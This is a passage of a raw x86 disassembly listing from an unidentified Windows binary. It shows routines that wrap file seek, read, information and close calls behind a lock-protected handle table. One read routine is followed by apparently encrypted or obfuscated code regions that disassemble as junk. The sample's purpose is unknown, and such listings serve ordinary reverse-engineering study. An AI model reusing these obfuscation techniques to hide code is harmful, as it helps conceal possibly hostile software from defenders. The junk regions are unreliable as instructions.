		mov	eax, [ebp+var_8]
		push	dword ptr [eax+4]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	ds:dword_424708	; SetFilePointer
		push	10h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_10]
		and	dword ptr [eax+4], 0
		movzx	eax, [ebp+arg_10]
		neg	eax
		sbb	eax, eax
		and	eax, 0C0000000h
		add	eax, 40000000h
		mov	ecx, [ebp+var_10]
		mov	[ecx+0Ch], eax
		push	[ebp+var_10]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		mov	ecx, ds:dword_424864
		call	sub_410000


loc_414414:				; CODE XREF: sub_414344+63j
		push	1
		pop	eax
		jmp	short locret_41441B
; ---------------------------------------------------------------------------


loc_414419:				; CODE XREF: sub_414344+20j
					; sub_414344+2Cj
		xor	eax, eax

locret_41441B:				; CODE XREF: sub_414344+D3j
		leave
		retn	14h
sub_414344	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41441F	proc near		; CODE XREF: sub_413FDF+142p
					; sub_419529+104p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 0041465D SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421360
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_C], 0
		jnz	short loc_414450
		lea	eax, [ebp+var_1C]
		mov	[ebp+arg_C], eax


loc_414450:				; CODE XREF: sub_41441F+29j
		mov	eax, ds:dword_424864
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_414471
		mov	eax, [ebp+var_2C]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_30], 1
		jmp	short loc_414475
; ---------------------------------------------------------------------------


loc_414471:				; CODE XREF: sub_41441F+3Dj
		and	[ebp+var_30], 0


loc_414475:				; CODE XREF: sub_41441F+50j
		movzx	eax, [ebp+var_30]
		test	eax, eax
		jz	loc_41465D
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_424864
		call	sub_41EB4C
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	loc_414636
		mov	eax, [ebp+var_24]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_24]
		mov	eax, [eax+0Ch]
		and	eax, 1
		test	eax, eax
		jz	short loc_4144E9
		push	[ebp+arg_8]
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_424708	; SetFilePointer
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		push	0FFFFFFFFh
		mov	[ebp+var_38], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_38]
		jmp	loc_41465F
; ---------------------------------------------------------------------------


loc_4144E9:				; CODE XREF: sub_41441F+96j
		mov	eax, [ebp+var_24]
		mov	eax, [eax+4]
		mov	[ebp+var_28], eax
		cmp	[ebp+arg_8], 0
		jnz	short loc_41454B
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [eax+8]
		jle	short loc_41451C
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_20]
		mov	ecx, [ecx+8]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+4]
		mov	[eax], ecx
		jmp	short loc_414546
; ---------------------------------------------------------------------------


loc_41451C:				; CODE XREF: sub_41441F+E2j
		cmp	[ebp+arg_4], 0
		jge	short loc_414535
		mov	eax, [ebp+arg_C]
		or	dword ptr [eax], 0FFFFFFFFh
		push	83h
		call	ds:dword_42470C	; RtlRestoreLastWin32Error
		jmp	short loc_414546
; ---------------------------------------------------------------------------


loc_414535:				; CODE XREF: sub_41441F+101j
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx


loc_414546:				; CODE XREF: sub_41441F+FBj
					; sub_41441F+114j
		jmp	loc_41461D
; ---------------------------------------------------------------------------


loc_41454B:				; CODE XREF: sub_41441F+D7j
		cmp	[ebp+arg_8], 2
		jnz	short loc_4145AC
		cmp	[ebp+arg_4], 0
		jle	short loc_414570
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_20]
		mov	ecx, [ecx+8]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+4]
		mov	[eax], ecx
		jmp	short loc_4145AA
; ---------------------------------------------------------------------------


loc_414570:				; CODE XREF: sub_41441F+136j
		mov	eax, [ebp+var_20]
		mov	eax, [eax+8]
		neg	eax
		cmp	[ebp+arg_4], eax
		jge	short loc_414590
		mov	eax, [ebp+arg_C]
		or	dword ptr [eax], 0FFFFFFFFh
		push	83h
		call	ds:dword_42470C	; RtlRestoreLastWin32Error
		jmp	short loc_4145AA
; ---------------------------------------------------------------------------


loc_414590:				; CODE XREF: sub_41441F+15Cj
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_4]
		add	ecx, [eax+8]
		mov	eax, [ebp+var_24]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+4]
		mov	[eax], ecx


loc_4145AA:				; CODE XREF: sub_41441F+14Fj
					; sub_41441F+16Fj
		jmp	short loc_41461D
; ---------------------------------------------------------------------------


loc_4145AC:				; CODE XREF: sub_41441F+130j
		cmp	[ebp+arg_8], 1
		jnz	short loc_41460F
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_20]
		cmp	eax, [ecx+8]
		jle	short loc_4145D9
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_20]
		mov	ecx, [ecx+8]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+4]
		mov	[eax], ecx
		jmp	short loc_41460D
; ---------------------------------------------------------------------------


loc_4145D9:				; CODE XREF: sub_41441F+19Fj
		mov	eax, [ebp+var_28]
		add	eax, [ebp+arg_4]
		test	eax, eax
		jge	short loc_4145F6
		mov	eax, [ebp+arg_C]
		or	dword ptr [eax], 0FFFFFFFFh
		push	83h
		call	ds:dword_42470C	; RtlRestoreLastWin32Error
		jmp	short loc_41460D
; ---------------------------------------------------------------------------


loc_4145F6:				; CODE XREF: sub_41441F+1C2j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+4]
		mov	[eax], ecx


loc_41460D:				; CODE XREF: sub_41441F+1B8j
					; sub_41441F+1D5j
		jmp	short loc_41461D
; ---------------------------------------------------------------------------


loc_41460F:				; CODE XREF: sub_41441F+191j
		mov	eax, [ebp+arg_C]
		or	dword ptr [eax], 0FFFFFFFFh
		push	57h
		call	ds:dword_42470C	; RtlRestoreLastWin32Error


loc_41461D:				; CODE XREF: sub_41441F:loc_414546j
					; sub_41441F:loc_4145AAj ...
		push	0FFFFFFFFh
		mov	[ebp+var_3C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_3C]
		jmp	short loc_41465F
; ---------------------------------------------------------------------------


loc_414636:				; CODE XREF: sub_41441F+7Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_414641
		jmp	short loc_41465D
sub_41441F	endp


; =============== S U B	R O U T	I N E =======================================



sub_414641	proc near		; CODE XREF: sub_41441F+21Bp
					; DATA XREF: _4:00421368o
		mov	eax, ds:dword_424864
		mov	[ebp-34h], eax
		cmp	dword ptr [ebp-34h], 0
		jz	short locret_41465C
		mov	eax, [ebp-34h]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection

locret_41465C:				; CODE XREF: sub_414641+Cj
		retn
sub_414641	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41441F


loc_41465D:				; CODE XREF: sub_41441F+5Cj
					; sub_41441F+220j
		xor	eax, eax


loc_41465F:				; CODE XREF: sub_41441F+C5j
					; sub_41441F+215j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_41441F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414670	proc near		; CODE XREF: sub_415B59+80p
					; sub_418F16+58p ...

var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041472C SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421370
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_424864
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_4146B6
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_24], 1
		jmp	short loc_4146BA
; ---------------------------------------------------------------------------


loc_4146B6:				; CODE XREF: sub_414670+31j
		and	[ebp+var_24], 0


loc_4146BA:				; CODE XREF: sub_414670+44j
		movzx	eax, [ebp+var_24]
		test	eax, eax
		jz	short loc_41472C
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_424864
		call	sub_41EB4C
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_414705
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+8]
		mov	[ecx], eax
		push	0FFFFFFFFh
		mov	[ebp+var_2C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	short loc_41472E
; ---------------------------------------------------------------------------


loc_414705:				; CODE XREF: sub_414670+6Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_414710
		jmp	short loc_41472C
sub_414670	endp


; =============== S U B	R O U T	I N E =======================================



sub_414710	proc near		; CODE XREF: sub_414670+99p
					; DATA XREF: _4:00421378o
		mov	eax, ds:dword_424864
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0
		jz	short locret_41472B
		mov	eax, [ebp-28h]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection

locret_41472B:				; CODE XREF: sub_414710+Cj
		retn
sub_414710	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_414670


loc_41472C:				; CODE XREF: sub_414670+50j
					; sub_414670+9Ej
		xor	eax, eax


loc_41472E:				; CODE XREF: sub_414670+93j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_414670

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41473F	proc near		; CODE XREF: sub_410386+58p
					; sub_41314B+22p ...

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421380
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jnz	short loc_414770
		lea	eax, [ebp+var_1C]
		mov	[ebp+arg_4], eax


loc_414770:				; CODE XREF: sub_41473F+29j
		mov	eax, ds:dword_424864
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	short loc_414791
		mov	eax, [ebp+var_28]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_2C], 1
		jmp	short loc_414795
; ---------------------------------------------------------------------------


loc_414791:				; CODE XREF: sub_41473F+3Dj
		and	[ebp+var_2C], 0


loc_414795:				; CODE XREF: sub_41473F+50j
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jz	loc_414843
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_424864
		call	sub_41EB4C
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_414807
		mov	eax, [ebp+var_20]
		push	dword ptr [eax+8]
		call	ds:dword_424624	; CloseHandle
		push	[ebp+arg_0]
		mov	ecx, ds:dword_424864
		call	sub_41EBBB
		mov	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_41BACD
		pop	ecx
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 1
		push	0FFFFFFFFh
		mov	[ebp+var_34], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_34]
		jmp	short loc_414845
; ---------------------------------------------------------------------------


loc_414807:				; CODE XREF: sub_41473F+7Bj
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_413838
		push	0FFFFFFFFh
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_38]
		jmp	short loc_414845
; ---------------------------------------------------------------------------


loc_414827:				; DATA XREF: _4:00421388o
		mov	eax, ds:dword_424864
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0
		jz	short locret_414842
		mov	eax, [ebp+var_30]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection

locret_414842:				; CODE XREF: sub_41473F+F4j
		retn
; ---------------------------------------------------------------------------


loc_414843:				; CODE XREF: sub_41473F+5Cj
		xor	eax, eax


loc_414845:				; CODE XREF: sub_41473F+C6j
					; sub_41473F+E6j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_41473F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414856	proc near		; CODE XREF: sub_41DD46+12p

var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0041493B SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421390
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_8], 0
		jnz	short loc_414887
		lea	eax, [ebp+var_1C]
		mov	[ebp+arg_8], eax


loc_414887:				; CODE XREF: sub_414856+29j
		mov	eax, ds:dword_424864
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_4148A8
		mov	eax, [ebp+var_24]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_28], 1
		jmp	short loc_4148AC
; ---------------------------------------------------------------------------


loc_4148A8:				; CODE XREF: sub_414856+3Dj
		and	[ebp+var_28], 0


loc_4148AC:				; CODE XREF: sub_414856+50j
		movzx	eax, [ebp+var_28]
		test	eax, eax
		jz	loc_41493B
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_424864
		call	sub_41EB4C
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_414914
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_42467C	; GetFileInformationByHandle
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax+20h], 0
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+8]
		mov	[ecx+24h], eax
		push	0FFFFFFFFh
		mov	[ebp+var_30], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_30]
		jmp	short loc_41493D
; ---------------------------------------------------------------------------


loc_414914:				; CODE XREF: sub_414856+7Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41491F
		jmp	short loc_41493B
sub_414856	endp


; =============== S U B	R O U T	I N E =======================================



sub_41491F	proc near		; CODE XREF: sub_414856+C2p
					; DATA XREF: _4:00421398o
		mov	eax, ds:dword_424864
		mov	[ebp-2Ch], eax
		cmp	dword ptr [ebp-2Ch], 0
		jz	short locret_41493A
		mov	eax, [ebp-2Ch]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection

locret_41493A:				; CODE XREF: sub_41491F+Cj
		retn
sub_41491F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_414856


loc_41493B:				; CODE XREF: sub_414856+5Cj
					; sub_414856+C7j
		xor	eax, eax


loc_41493D:				; CODE XREF: sub_414856+BCj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_414856

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41494E	proc near		; CODE XREF: sub_41DD77+Bp
					; sub_41DDB3+Bp

var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004149FB SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4213A0
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_424864
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_414994
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_24], 1
		jmp	short loc_414998
; ---------------------------------------------------------------------------


loc_414994:				; CODE XREF: sub_41494E+31j
		and	[ebp+var_24], 0


loc_414998:				; CODE XREF: sub_41494E+44j
		movzx	eax, [ebp+var_24]
		test	eax, eax
		jz	short loc_4149FB
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_424864
		call	sub_41EB4C
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_4149D4
		push	0FFFFFFFFh
		mov	[ebp+var_2C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	short loc_4149FD
; ---------------------------------------------------------------------------


loc_4149D4:				; CODE XREF: sub_41494E+6Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4149DF
		jmp	short loc_4149FB
sub_41494E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4149DF	proc near		; CODE XREF: sub_41494E+8Ap
					; DATA XREF: _4:004213A8o
		mov	eax, ds:dword_424864
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0
		jz	short locret_4149FA
		mov	eax, [ebp-28h]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection

locret_4149FA:				; CODE XREF: sub_4149DF+Cj
		retn
sub_4149DF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41494E


loc_4149FB:				; CODE XREF: sub_41494E+50j
					; sub_41494E+8Fj
		xor	eax, eax


loc_4149FD:				; CODE XREF: sub_41494E+84j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; END OF FUNCTION CHUNK	FOR sub_41494E
; ---------------------------------------------------------------------------


loc_414A0E:				; CODE XREF: sub_414C5A+2F1p
					; sub_415175+1CFp
		push	ebp
		mov	ebp, esp
		sub	esp, 0ECh
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+0Ch]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp+10h]
		mov	[ebp-10h], eax
		mov	eax, ds:dword_424878
		mov	[ebp-4], eax
		mov	eax, [ebp+8]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	eax, [eax+0Ch]
		and	eax, 30h
		cmp	eax, 30h
		jnz	loc_414AD6
		mov	eax, [ebp-8]
		mov	eax, [eax+0Ch]
		and	eax, 2
		test	eax, eax
		jnz	short loc_414AD6
		mov	eax, [ebp-8]
		mov	ecx, [ebp+0Ch]
		sub	ecx, [eax+4]
		mov	[ebp-14h], ecx
		mov	eax, [ebp-14h]
		xor	edx, edx
		push	8
		pop	ecx
		div	ecx
		mov	[ebp-18h], edx
		cmp	dword ptr [ebp-18h], 0
		jz	short loc_414A91
		mov	eax, [ebp+0Ch]
		sub	eax, [ebp-18h]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-10h]
		add	eax, [ebp-18h]
		mov	[ebp-10h], eax
		mov	eax, [ebp-4]
		add	eax, [ebp-18h]
		mov	[ebp-4], eax


loc_414A91:				; CODE XREF: _3:00414A74j
		mov	eax, [ebp-10h]
		xor	edx, edx
		push	8
		pop	ecx
		div	ecx
		test	edx, edx
		jz	short loc_414AB6
		mov	eax, [ebp-10h]
		xor	edx, edx
		push	8
		pop	ecx
		div	ecx
		push	8
		pop	eax
		sub	eax, edx
		mov	ecx, [ebp-10h]
		add	ecx, eax
		mov	[ebp-10h], ecx


loc_414AB6:				; CODE XREF: _3:00414A9Dj
		mov	eax, [ebp+8]
		mov	ecx, [ebp-10h]
		add	ecx, [eax+4]
		mov	eax, [ebp-8]
		cmp	ecx, [eax+8]
		jbe	short loc_414AD6
		mov	eax, [ebp-8]
		mov	ecx, [ebp+8]
		mov	eax, [eax+8]
		sub	eax, [ecx+4]
		mov	[ebp-10h], eax


loc_414AD6:				; CODE XREF: _3:00414A44j _3:00414A55j ...
		push	0
		push	0
		push	dword ptr [ebp-0Ch]
		mov	eax, [ebp+8]
		push	dword ptr [eax+8]
		call	ds:dword_424708	; SetFilePointer
		cmp	eax, [ebp-0Ch]
		jz	short loc_414AF5
		xor	eax, eax
		jmp	loc_414C53
; ---------------------------------------------------------------------------


loc_414AF5:				; CODE XREF: _3:00414AECj
		push	0
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp-10h]
		push	ds:dword_424878
		mov	eax, [ebp+8]
		push	dword ptr [eax+8]
		call	ds:dword_4246FC	; ReadFile
		test	eax, eax
		jnz	short loc_414B1A
		xor	eax, eax
		jmp	loc_414C53
; ---------------------------------------------------------------------------


loc_414B1A:				; CODE XREF: _3:00414B11j
		mov	eax, [ebp+14h]
		mov	eax, [eax]
		cmp	eax, [ebp-10h]
		jz	short loc_414B2B
		xor	eax, eax
		jmp	loc_414C53
; ---------------------------------------------------------------------------


loc_414B2B:				; CODE XREF: _3:00414B22j
		mov	eax, [ebp-8]
		mov	eax, [eax+0Ch]
		and	eax, 1
		test	eax, eax
		jz	loc_414C3A
		mov	eax, [ebp-8]
		mov	eax, [eax+0Ch]
		and	eax, 30h
		cmp	eax, 10h
		jnz	short loc_414BA7
		push	460000h
		call	sub_411B9E
		xor	esp, [eax]
; ---------------------------------------------------------------------------
		dw 0A8Eh
		dd 10842452h, 32C17D88h, 23D24BD4h, 0DF04C097h,	0DA843F43h
		dd 3911A550h, 97346F07h, 6A1F183Bh, 1475C174h, 0B2C08AABh
		dd 8DF9AEE4h, 7865581Eh
		db 47h,	57h, 2Ch
; ---------------------------------------------------------------------------


loc_414B8B:				; CODE XREF: _3:00414BD4j
		mov	dh, bl
		mov	[esi+70h], edi
		mov	edx, 18E3D6C9h
		stc
; ---------------------------------------------------------------------------
		db 0DAh
		dd 9090DBE8h, 0C085C033h, 93E9EE75h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_414BA7:				; CODE XREF: _3:00414B48j
		mov	eax, [ebp-8]
		mov	eax, [eax+0Ch]
		and	eax, 30h
		cmp	eax, 30h
		jnz	short loc_414C30
		push	120000h
		call	sub_411B9E
		or	byte ptr [edi-6C3C06E1h], 15h
		adc	dword ptr [edx], 0FFFFFF95h
		xchg	eax, esp
		mov	[esi+1D1A0553h], ch
		adc	[ecx+ebx*4+25h], ch
		jecxz	short loc_414B8B
		std
		aas
		mov	ecx, 0C93875C5h
		cwde
		db	2Eh
		repne xchg eax,	ebx
		dec	edi
		sbb	esi, eax
		mov	ds:0D80E808Dh, eax
		retf
; ---------------------------------------------------------------------------
		dw 0A6BEh
		dd 82757C36h, 9AA9B5E7h, 257938C3h, 8E81FB08h, 92C0F818h
		dd 0C3F2822Ah, 7BAD2B87h, 11B1D72Fh, 605D70CEh,	42C4B12Fh
		dd 62828F9Ch, 0BEB1BBECh, 0F2E5F4A3h, 0E961E4FFh, 9090BFCCh
		dd 0C085C033h, 0AEBEE75h
; ---------------------------------------------------------------------------


loc_414C30:				; CODE XREF: _3:00414BB3j
		mov	ecx, 0EF000014h
		call	sub_41BA32


loc_414C3A:				; CODE XREF: _3:00414B36j
		mov	eax, [ebp+14h]
		mov	eax, [eax]
		cmp	eax, [ebp+10h]
		jnb	short loc_414C48
		xor	eax, eax
		jmp	short loc_414C53
; ---------------------------------------------------------------------------


loc_414C48:				; CODE XREF: _3:00414C42j
		mov	eax, [ebp+14h]
		mov	ecx, [ebp+10h]
		mov	[eax], ecx
		mov	eax, [ebp-4]


loc_414C53:				; CODE XREF: _3:00414AF0j _3:00414B15j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C5A	proc near		; CODE XREF: sub_415009+30p
					; sub_415009+EBp

var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00414EAB SIZE 0000015E BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4213B0
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 68h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, ds:dword_424888
		mov	eax, [eax]
		sub	eax, [ecx+8]
		sar	eax, 4
		mov	[ebp+var_24], eax
		and	[ebp+var_28], 0
		and	[ebp+var_40], 0
		jmp	short loc_414CAE
; ---------------------------------------------------------------------------


loc_414CA7:				; CODE XREF: sub_414C5A:loc_414CEBj
